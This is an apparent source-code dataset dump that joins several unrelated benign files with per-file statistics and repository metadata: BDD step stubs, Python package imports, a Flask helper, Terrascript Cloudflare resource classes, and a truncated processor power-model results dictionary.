RSS News Feed") # def step_impl(): # raise NotImplementedError(u'STEP: And I want to change information for an RSS News Feed') # # # @when("I select the RSS News feed from the list") # def step_impl(): # raise NotImplementedError(u'STEP: When I select the RSS News feed from the list') # # # @given("supply updated information") # def step_impl(): # raise NotImplementedError(u'STEP: And supply updated information') # # # @when("I execute the update command") # def step_impl(): # raise NotImplementedError(u'STEP: When I execute the update command') # # # @given("I should see the changes in the RSS News Feed List") # def step_impl(): # raise NotImplementedError(u'STEP: And I should see the changes in the RSS News Feed List')
30.597222
109
0.696777
343
2,203
4.431487
0.145773
0.092105
0.144737
0.147368
0.908553
0.901974
0.815132
0.715132
0.6375
0.626316
0
0
0.187472
2,203
71
110
31.028169
0.849162
0.935089
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
0
0
0
null
0
0
0
1
1
1
1
0
1
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
7
cdf69be58636af6ccf8a951e69c0eddf048e4261
134
py
Python
thomson/__init__.py
fusion-flap/flap_nstx_gpi
cf7d4bdecea8fd7434f8f7eb64e1a7b13fc0f759
[ "MIT" ]
null
null
null
thomson/__init__.py
fusion-flap/flap_nstx_gpi
cf7d4bdecea8fd7434f8f7eb64e1a7b13fc0f759
[ "MIT" ]
null
null
null
thomson/__init__.py
fusion-flap/flap_nstx_gpi
cf7d4bdecea8fd7434f8f7eb64e1a7b13fc0f759
[ "MIT" ]
null
null
null
from .fit_nstx_thomson_profiles import get_fit_nstx_thomson_profiles from .get_nstx_thomson_gradient import get_nstx_thomson_gradient
44.666667
68
0.925373
21
134
5.285714
0.380952
0.396396
0.252252
0.396396
0
0
0
0
0
0
0
0
0.059701
134
3
69
44.666667
0.880952
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
a9132c6231dfc1654b27932f460e16294a21fb6c
103
py
Python
domain/test_models.py
aleksarias/ubermaton
f0afd94abe494303c435a42a314a04ba8118afd1
[ "MIT" ]
null
null
null
domain/test_models.py
aleksarias/ubermaton
f0afd94abe494303c435a42a314a04ba8118afd1
[ "MIT" ]
null
null
null
domain/test_models.py
aleksarias/ubermaton
f0afd94abe494303c435a42a314a04ba8118afd1
[ "MIT" ]
null
null
null
import pytest from domain.models import LocationsMap def test_create_grid_locations_map(): pass
12.875
38
0.805825
14
103
5.642857
0.928571
0
0
0
0
0
0
0
0
0
0
0
0.15534
103
7
39
14.714286
0.908046
0
0
0
0
0
0
0
0
0
0
0
0
1
0.25
true
0.25
0.5
0
0.75
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
1
1
0
1
0
0
7
a934fd49bad157e161e34a0813a4b4e8aed27dcb
151
py
Python
jsonclasses_flask/empty.py
zhichao-github/jsonclasses-flask
8337f74c9912a75bda240e2f449e5ac74a16ebc5
[ "MIT" ]
null
null
null
jsonclasses_flask/empty.py
zhichao-github/jsonclasses-flask
8337f74c9912a75bda240e2f449e5ac74a16ebc5
[ "MIT" ]
null
null
null
jsonclasses_flask/empty.py
zhichao-github/jsonclasses-flask
8337f74c9912a75bda240e2f449e5ac74a16ebc5
[ "MIT" ]
1
2021-09-03T05:56:28.000Z
2021-09-03T05:56:28.000Z
from typing import Any from flask import Response, make_response def empty(*args: Any, **kwargs: Any) -> Response: return make_response('', 204)
21.571429
49
0.721854
21
151
5.095238
0.619048
0.224299
0
0
0
0
0
0
0
0
0
0.02381
0.165563
151
6
50
25.166667
0.825397
0
0
0
0
0
0
0
0
0
0
0
0
1
0.25
true
0
0.5
0.25
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
1
1
0
0
8
a96cd1b0ce0715f150b6dd74bca6774e481159f1
4,246
py
Python
terrascript/cloudflare/r.py
mjuenema/python-terrascript
6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d
[ "BSD-2-Clause" ]
507
2017-07-26T02:58:38.000Z
2022-01-21T12:35:13.000Z
terrascript/cloudflare/r.py
mjuenema/python-terrascript
6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d
[ "BSD-2-Clause" ]
135
2017-07-20T12:01:59.000Z
2021-10-04T22:25:40.000Z
terrascript/cloudflare/r.py
mjuenema/python-terrascript
6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d
[ "BSD-2-Clause" ]
81
2018-02-20T17:55:28.000Z
2022-01-31T07:08:40.000Z
# terrascript/cloudflare/r.py # Automatically generated by tools/makecode.py () import warnings warnings.warn( "using the 'legacy layout' is deprecated", DeprecationWarning, stacklevel=2 ) import terrascript class cloudflare_access_application(terrascript.Resource): pass class cloudflare_access_ca_certificate(terrascript.Resource): pass class cloudflare_access_group(terrascript.Resource): pass class cloudflare_access_identity_provider(terrascript.Resource): pass class cloudflare_access_keys_configuration(terrascript.Resource): pass class cloudflare_access_mutual_tls_certificate(terrascript.Resource): pass class cloudflare_access_policy(terrascript.Resource): pass class cloudflare_access_rule(terrascript.Resource): pass class cloudflare_access_service_token(terrascript.Resource): pass class cloudflare_account_member(terrascript.Resource): pass class cloudflare_api_token(terrascript.Resource): pass class cloudflare_argo(terrascript.Resource): pass class cloudflare_argo_tunnel(terrascript.Resource): pass class cloudflare_authenticated_origin_pulls(terrascript.Resource): pass class cloudflare_authenticated_origin_pulls_certificate(terrascript.Resource): pass class cloudflare_byo_ip_prefix(terrascript.Resource): pass class cloudflare_certificate_pack(terrascript.Resource): pass class cloudflare_custom_hostname(terrascript.Resource): pass class cloudflare_custom_hostname_fallback_origin(terrascript.Resource): pass class cloudflare_custom_pages(terrascript.Resource): pass class cloudflare_custom_ssl(terrascript.Resource): pass class cloudflare_device_posture_rule(terrascript.Resource): pass class cloudflare_filter(terrascript.Resource): pass class cloudflare_firewall_rule(terrascript.Resource): pass class cloudflare_healthcheck(terrascript.Resource): pass class cloudflare_ip_list(terrascript.Resource): pass class cloudflare_load_balancer(terrascript.Resource): pass class cloudflare_load_balancer_monitor(terrascript.Resource): pass class cloudflare_load_balancer_pool(terrascript.Resource): pass class cloudflare_logpull_retention(terrascript.Resource): pass class cloudflare_logpush_job(terrascript.Resource): pass class cloudflare_logpush_ownership_challenge(terrascript.Resource): pass class cloudflare_magic_firewall_ruleset(terrascript.Resource): pass class cloudflare_notification_policy(terrascript.Resource): pass class cloudflare_notification_policy_webhooks(terrascript.Resource): pass class cloudflare_origin_ca_certificate(terrascript.Resource): pass class cloudflare_page_rule(terrascript.Resource): pass class cloudflare_rate_limit(terrascript.Resource): pass class cloudflare_record(terrascript.Resource): pass class cloudflare_ruleset(terrascript.Resource): pass class cloudflare_spectrum_application(terrascript.Resource): pass class cloudflare_static_route(terrascript.Resource): pass class cloudflare_teams_account(terrascript.Resource): pass class cloudflare_teams_list(terrascript.Resource): pass class cloudflare_teams_location(terrascript.Resource): pass class cloudflare_teams_rule(terrascript.Resource): pass class cloudflare_waf_group(terrascript.Resource): pass class cloudflare_waf_override(terrascript.Resource): pass class cloudflare_waf_package(terrascript.Resource): pass class cloudflare_waf_rule(terrascript.Resource): pass class cloudflare_waiting_room(terrascript.Resource): pass class cloudflare_worker_cron_trigger(terrascript.Resource): pass class cloudflare_worker_route(terrascript.Resource): pass class cloudflare_worker_script(terrascript.Resource): pass class cloudflare_workers_kv(terrascript.Resource): pass class cloudflare_workers_kv_namespace(terrascript.Resource): pass class cloudflare_zone(terrascript.Resource): pass class cloudflare_zone_dnssec(terrascript.Resource): pass class cloudflare_zone_lockdown(terrascript.Resource): pass class cloudflare_zone_settings_override(terrascript.Resource): pass
16.984
79
0.805228
461
4,246
7.121475
0.219089
0.27414
0.420347
0.503198
0.824855
0.709108
0.227536
0.03777
0
0
0
0.000272
0.133773
4,246
249
80
17.052209
0.892333
0.017664
0
0.48
1
0
0.009357
0
0
0
0
0
0
1
0
true
0.48
0.016
0
0.496
0
0
0
0
null
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
1
1
0
0
0
0
0
8
8d9359a827a0bdc2d8a0f9fba4e9e4c6f773b261
339
py
Python
quspin/basis/basis_general/__init__.py
marcotav/QuSpin
ba3dbb9c8b4440ad7deba6412444489d45cb7349
[ "BSD-3-Clause" ]
1
2020-05-10T08:32:34.000Z
2020-05-10T08:32:34.000Z
quspin/basis/basis_general/__init__.py
marcotav/QuSpin
ba3dbb9c8b4440ad7deba6412444489d45cb7349
[ "BSD-3-Clause" ]
null
null
null
quspin/basis/basis_general/__init__.py
marcotav/QuSpin
ba3dbb9c8b4440ad7deba6412444489d45cb7349
[ "BSD-3-Clause" ]
null
null
null
from .spin import spin_basis_general from .boson import boson_basis_general __all__=["spin_basis_general","boson_basis_general"] # from .fermion import spinless_fermion_basis_general,spinful_fermion_basis_general # __all__=["spin_basis_general","boson_basis_general", # "spinless_fermion_basis_general","spinful_fermion_basis_general"]
56.5
83
0.852507
45
339
5.711111
0.222222
0.466926
0.29572
0.14786
0.7393
0.7393
0.7393
0.7393
0.373541
0
0
0
0.061947
339
6
84
56.5
0.808176
0.60177
0
0
0
0
0.280303
0
0
0
0
0
0
1
0
false
0
0.666667
0
0.666667
0
0
0
0
null
1
1
0
0
1
1
1
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
8
570ca7948fa207acb24275fa5cd428a17a01b2db
68,592
py
Python
benchmarks/SimResults/_bigLittle_hrrs_spec_tugberk_ml/ratio_based_results/cmp_gamess/power.py
TugberkArkose/MLScheduler
e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061
[ "Unlicense" ]
null
null
null
benchmarks/SimResults/_bigLittle_hrrs_spec_tugberk_ml/ratio_based_results/cmp_gamess/power.py
TugberkArkose/MLScheduler
e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061
[ "Unlicense" ]
null
null
null
benchmarks/SimResults/_bigLittle_hrrs_spec_tugberk_ml/ratio_based_results/cmp_gamess/power.py
TugberkArkose/MLScheduler
e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061
[ "Unlicense" ]
null
null
null
power = {'BUSES': {'Area': 1.33155, 'Bus/Area': 1.33155, 'Bus/Gate Leakage': 0.00662954, 'Bus/Peak Dynamic': 0.0, 'Bus/Runtime Dynamic': 0.0, 'Bus/Subthreshold Leakage': 0.0691322, 'Bus/Subthreshold Leakage with power gating': 0.0259246, 'Gate Leakage': 0.00662954, 'Peak Dynamic': 0.0, 'Runtime Dynamic': 0.0, 'Subthreshold Leakage': 0.0691322, 'Subthreshold Leakage with power gating': 0.0259246}, 'Core': [{'Area': 32.6082, 'Execution Unit/Area': 8.2042, 'Execution Unit/Complex ALUs/Area': 0.235435, 'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646, 'Execution Unit/Complex ALUs/Peak Dynamic': 0.253427, 'Execution Unit/Complex ALUs/Runtime Dynamic': 0.401742, 'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111, 'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163, 'Execution Unit/Floating Point Units/Area': 4.6585, 'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156, 'Execution Unit/Floating Point Units/Peak Dynamic': 1.06768, 'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033, 'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829, 'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061, 'Execution Unit/Gate Leakage': 0.122718, 'Execution Unit/Instruction Scheduler/Area': 2.17927, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.328073, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.00115349, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.20978, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.727486, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.017004, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00962066, 'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00730101, 'Execution Unit/Instruction Scheduler/Instruction Window/Area': 1.00996, 'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00529112, 'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 2.07911, 'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 1.25974, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0800117, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0455351, 'Execution Unit/Instruction Scheduler/Peak Dynamic': 4.84781, 'Execution Unit/Instruction Scheduler/ROB/Area': 0.841232, 'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.000856399, 'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.55892, 'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.722498, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.0178624, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00897339, 'Execution Unit/Instruction Scheduler/Runtime Dynamic': 2.70972, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.114878, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.0641291, 'Execution Unit/Integer ALUs/Area': 0.47087, 'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291, 'Execution Unit/Integer ALUs/Peak Dynamic': 0.555398, 'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344, 'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222, 'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833, 'Execution Unit/Peak Dynamic': 8.08856, 'Execution Unit/Register Files/Area': 0.570804, 'Execution Unit/Register Files/Floating Point RF/Area': 0.208131, 'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788, 'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.201708, 'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.0263719, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968, 'Execution Unit/Register Files/Gate Leakage': 0.000622708, 'Execution Unit/Register Files/Integer RF/Area': 0.362673, 'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992, 'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.297815, 'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.195037, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675, 'Execution Unit/Register Files/Peak Dynamic': 0.499524, 'Execution Unit/Register Files/Runtime Dynamic': 0.221408, 'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387, 'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643, 'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0442632, 'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00607074, 'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.789073, 'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 1.76387, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.0920413, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0345155, 'Execution Unit/Runtime Dynamic': 5.50212, 'Execution Unit/Subthreshold Leakage': 1.83518, 'Execution Unit/Subthreshold Leakage with power gating': 0.709678, 'Gate Leakage': 0.372997, 'Instruction Fetch Unit/Area': 5.86007, 'Instruction Fetch Unit/Branch Predictor/Area': 0.138516, 'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.002113, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.002113, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.00184748, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000719054, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045, 'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838, 'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732, 'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05, 'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602, 'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.00280172, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733, 'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00887519, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282, 'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954, 'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758, 'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867, 'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.0200068, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357, 'Instruction Fetch Unit/Gate Leakage': 0.0590479, 'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323, 'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05, 'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827, 'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.187494, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682, 'Instruction Fetch Unit/Instruction Cache/Area': 3.14635, 'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931, 'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 6.43323, 'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.459729, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386, 'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799, 'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493, 'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404, 'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.636813, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104, 'Instruction Fetch Unit/Peak Dynamic': 8.96874, 'Instruction Fetch Unit/Runtime Dynamic': 1.31292, 'Instruction Fetch Unit/Subthreshold Leakage': 0.932587, 'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.408542, 'L2/Area': 4.53318, 'L2/Gate Leakage': 0.015464, 'L2/Peak Dynamic': 0.0234311, 'L2/Runtime Dynamic': 0.00573223, 'L2/Subthreshold Leakage': 0.834142, 'L2/Subthreshold Leakage with power gating': 0.401066, 'Load Store Unit/Area': 8.80969, 'Load Store Unit/Data Cache/Area': 6.84535, 'Load Store Unit/Data Cache/Gate Leakage': 0.0279261, 'Load Store Unit/Data Cache/Peak Dynamic': 6.71241, 'Load Store Unit/Data Cache/Runtime Dynamic': 2.63846, 'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675, 'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085, 'Load Store Unit/Gate Leakage': 0.0351387, 'Load Store Unit/LoadQ/Area': 0.0836782, 'Load Store Unit/LoadQ/Gate Leakage': 0.00059896, 'Load Store Unit/LoadQ/Peak Dynamic': 0.177139, 'Load Store Unit/LoadQ/Runtime Dynamic': 0.177139, 'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961, 'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918, 'Load Store Unit/Peak Dynamic': 7.55231, 'Load Store Unit/Runtime Dynamic': 3.68919, 'Load Store Unit/StoreQ/Area': 0.322079, 'Load Store Unit/StoreQ/Gate Leakage': 0.00329971, 'Load Store Unit/StoreQ/Peak Dynamic': 0.436794, 'Load Store Unit/StoreQ/Runtime Dynamic': 0.873589, 'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621, 'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004, 'Load Store Unit/Subthreshold Leakage': 0.591622, 'Load Store Unit/Subthreshold Leakage with power gating': 0.283406, 'Memory Management Unit/Area': 0.434579, 'Memory Management Unit/Dtlb/Area': 0.0879726, 'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729, 'Memory Management Unit/Dtlb/Peak Dynamic': 0.15502, 'Memory Management Unit/Dtlb/Runtime Dynamic': 0.155287, 'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699, 'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485, 'Memory Management Unit/Gate Leakage': 0.00813591, 'Memory Management Unit/Itlb/Area': 0.301552, 'Memory Management Unit/Itlb/Gate Leakage': 0.00393464, 'Memory Management Unit/Itlb/Peak Dynamic': 0.399995, 'Memory Management Unit/Itlb/Runtime Dynamic': 0.075615, 'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758, 'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842, 'Memory Management Unit/Peak Dynamic': 0.826493, 'Memory Management Unit/Runtime Dynamic': 0.230902, 'Memory Management Unit/Subthreshold Leakage': 0.0769113, 'Memory Management Unit/Subthreshold Leakage with power gating': 0.0399462, 'Peak Dynamic': 30.0212, 'Renaming Unit/Area': 0.369768, 'Renaming Unit/FP Front End RAT/Area': 0.168486, 'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00489731, 'Renaming Unit/FP Front End RAT/Peak Dynamic': 3.33511, 'Renaming Unit/FP Front End RAT/Runtime Dynamic': 0.703714, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0437281, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.024925, 'Renaming Unit/Free List/Area': 0.0414755, 'Renaming Unit/Free List/Gate Leakage': 4.15911e-05, 'Renaming Unit/Free List/Peak Dynamic': 0.0401324, 'Renaming Unit/Free List/Runtime Dynamic': 0.0456676, 'Renaming Unit/Free List/Subthreshold Leakage': 0.000670426, 'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000377987, 'Renaming Unit/Gate Leakage': 0.00863632, 'Renaming Unit/Int Front End RAT/Area': 0.114751, 'Renaming Unit/Int Front End RAT/Gate Leakage': 0.00038343, 'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.86945, 'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.370668, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00611897, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00348781, 'Renaming Unit/Peak Dynamic': 4.56169, 'Renaming Unit/Runtime Dynamic': 1.12005, 'Renaming Unit/Subthreshold Leakage': 0.070483, 'Renaming Unit/Subthreshold Leakage with power gating': 0.0362779, 'Runtime Dynamic': 11.8609, 'Subthreshold Leakage': 6.21877, 'Subthreshold Leakage with power gating': 2.58311}, {'Area': 32.0201, 'Execution Unit/Area': 7.68434, 'Execution Unit/Complex ALUs/Area': 0.235435, 'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646, 'Execution Unit/Complex ALUs/Peak Dynamic': 0.0995712, 'Execution Unit/Complex ALUs/Runtime Dynamic': 0.280896, 'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111, 'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163, 'Execution Unit/Floating Point Units/Area': 4.6585, 'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156, 'Execution Unit/Floating Point Units/Peak Dynamic': 0.407025, 'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033, 'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829, 'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061, 'Execution Unit/Gate Leakage': 0.120359, 'Execution Unit/Instruction Scheduler/Area': 1.66526, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.266613, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519, 'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913, 'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223, 'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562, 'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763, 'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.430036, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964, 'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262, 'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388, 'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608, 'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451, 'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.217068, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446, 'Execution Unit/Instruction Scheduler/Runtime Dynamic': 0.913717, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346, 'Execution Unit/Integer ALUs/Area': 0.47087, 'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291, 'Execution Unit/Integer ALUs/Peak Dynamic': 0.242526, 'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344, 'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222, 'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833, 'Execution Unit/Peak Dynamic': 5.08962, 'Execution Unit/Register Files/Area': 0.570804, 'Execution Unit/Register Files/Floating Point RF/Area': 0.208131, 'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788, 'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.0768957, 'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.0111829, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968, 'Execution Unit/Register Files/Gate Leakage': 0.000622708, 'Execution Unit/Register Files/Integer RF/Area': 0.362673, 'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992, 'Execution 